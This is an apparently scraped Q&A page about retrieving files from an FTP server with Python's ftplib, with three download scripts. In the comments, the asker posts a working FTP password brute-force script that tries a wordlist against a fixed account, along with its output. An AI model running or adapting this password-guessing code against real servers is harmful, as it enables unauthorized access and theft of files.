Retrieve file/s from FTP using Python connection
Solution 1
ok so after much trial and error i found how to do it. - this script will take every file in the chosen directory - didn't figure out how to take all of the files from all of the sub directories as well, but this is more than good enough - will leave here for future people to see.
from ftplib import FTP
import os # allows me to use os.chdir
port=21
ip="192.168.1.108"
password='123'
os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input
ftp.cwd(directory)
for filename in ftp.nlst(filematch): # Loop - looking for matching files
fhandle = open(filename, 'wb')
print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
and as proof, this is the output received from above code:
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py
Solution 2
First you need to understand the ftp protocol before doing some serious stuff. As an example you can do something like this:
from ftplib import FTP
port=21
ip="127.0.0.1"
password = "[email protected]"
user = "Anonymous"
ftp = FTP(ip)
ftp.login(user,password)
files = ftp.nlst()
for i,v in enumerate(files,1):
print i,"->",v
i = int(raw_input("Type a number for download or type 0 for all\n"))
def f(s):
#save the chuck of data in s
print s
def download(j):
print "downloading=>",files[j]
ftp.retrbinary("RETR " + files[j],f)
#or ftp.retrlines("RETR " + files[j],f) for ascii files
if i==0:
for j in range(len(files)):
download(j)
elif i>0 and i<=len(files):
download(i-1)
Solution 3
Try this :
import argparse
import os
from ftplib import FTP
def parse_args():
''' parse and check command line arguments '''
ap = argparse.ArgumentParser(description="FTP Utility")
ap.add_argument('-hh', dest='host', help="Host name")
ap.add_argument('-u', dest='uname', help="user name")
ap.add_argument('-p', dest='pwd', help="user password")
ap.add_argument('-rd', dest='remote_dir', help="Path to remote directory")
ap.add_argument('-ld', dest='local_dir', help="Path to local directory")
ap.add_argument(dest='files', help="File names", nargs='+')
return ap.parse_args()
def is_empty(file):
file_size=os.stat(file).st_size
if file_size == 0:
print "The file {} is empty".format(file)
return True
return False
args=parse_args()
host_name=args.host
user_name=args.uname
user_pwd=args.pwd
remote_dir=args.remote_dir
local_dir=args.local_dir
files=args.files
ftp=FTP(host_name)
ftp.login(user_name, user_pwd)
ftp.cwd(remote_dir)
for file in files:
try:
local_filename = os.path.join(local_dir, file)
print "Getting filename "+file
ftp.retrbinary('RETR %s' % file, open(local_filename, 'wb').write)
print "Saving at %s" % local_filename
except Exception, err:
print err
if (is_empty(local_filename)):
os.remove(local_filename)
continue
ftp.quit()
I've been using this for a quite a while now. If you are regularly FTPing from one machine, just hard code the values for host_name, user_name, etc,.
Giladiald
Updated on March 02, 2020Comments
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Giladiald about 4 years
i built this simple tool to brute force and connect to the ftp server
import socket import ftplib from ftplib import FTP port=21 ip="192.168.1.108" file1="passwords" try: s=socket.socket() s.connect((ip,port)) print "port",port,"is open" moshe=open(file1,'r') for line in moshe.readlines(): password=line.strip("\n") print password try: ftp = ftplib.FTP(ip) ftp.login("NINJA",password) print ("THE PASSWORD IS:",password) break except ftplib.error_perm: print "Incorrect" moshe.close() except: print "port",port,"is closed" ftp = FTP(ip) ftp.login('NINJA',password) print "File List:" files = ftp.dir()
currently the tool works (i planted the right password 3rd on the file list) - when i log in i get this output:
port 21 is open 123 ('THE PASSWORD IS:', '123') File List: drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2 drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3 -rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt -rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
from here, what i want is to allow the user (me) to retrieve files either 1 specific file or all of them - but i do not know what is the simplest way to go about this
the choice itself of 1 or all, i can do, (press 1 to copy all ->) but the command itself to copy all or just one, and if one then based on what im not sure how to do.
EDIT: adding what Xendrm suggested to the code yealds this:
Type a number for download or type 0 for all 0 downloading=> Folder Traceback (most recent call last): File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module> download(j) File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download ftp.retrbinary("RETR " + files[j],f) File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary conn = self.transfercmd(cmd, rest) File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd return self.ntransfercmd(cmd, rest)[0] File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd resp = self.sendcmd(cmd) File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd return self.getresp() File "/usr/lib/python2.7/ftplib.py", line 219, in getresp raise error_perm, resp error_perm: 550 Failed to open file.
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Giladiald over 10 yearswhen i try that i get multiple errors after the 0/# input, either way no matter what i input i get multiple errors, will update Original Post any second
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Jiraheta about 7 yearsIt didn't work for me... not sure if I replace the values correctly. Was I supposed to change the values of dest in the parse_arg, right? thanks for your help
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Vadim over 6 yearswhat about hidden files ? if I want delete hidden files, how i can take it full name ? the
ftp.retrlines("LIST -a")
command only show it -
Jeanpierre Rivas almost 5 yearsThank you for this important contribution, you helped me a lot with your answer.